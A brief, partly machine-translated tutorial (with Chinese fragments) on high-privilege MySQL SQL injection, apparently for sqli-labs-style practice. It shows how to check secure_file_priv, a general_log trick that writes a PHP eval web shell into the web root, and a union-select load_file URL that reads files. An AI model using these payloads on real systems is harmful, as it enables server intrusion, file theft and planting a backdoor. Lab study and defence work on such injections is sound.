SQL injection--high privilege, load_file read and write files

1.MYSQL new feature limit file write and replace method

A newer version of MySQL added a new feature, Secure_file_priv, which limits the permissions of MySQL export files
Secure_file_priv Options

secure_file_priv 　　1、限制mysqld 不允许导入 | 导出　   　   --secure_file_prive=null　　2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下　　　   --secure_file_priv=/tmp/　　3、不对mysqld 的导入 | 导出做限制              --secure_file_priv= linuxcat /etc/my.cnf　　　　[mysqld]　　　　secure_file_priv= win    my.ini       [mysqld] 　　　　secure_file_priv=

View Secure_file_priv

show global variables like ‘%secure%‘;

High-Privilege injection encounters Secure_file_priv

This option is not secure_file_priv by default in the MySQL high-profile configuration file, but you can use the SQL statement to view Secure_file_priv discovery, which is null if this option is not configured, that is, the file cannot be exported.

Alternative methods:
To know the path

set global general_log=on;set global general_log_file=‘C:/phpStudy/WWW/123.php‘;select ‘<?php eval($_POST[123]) ?>‘;

2 High-privilege file read/write

Load_file () Read the file

http://test.com/sqli/Less-1/?id=-1‘ union select 1,load_file(‘c:\\flag.txt‘),3 --+

1.路径使用\\ ，否则会被当作转义符号2.路径使用/3.盘符根路径下可用c:admin.txt4.16进制文件名5.char(路径ascii)

into Outfile/into dumpfile writing files

SQL injection--high privilege, load_file read and write files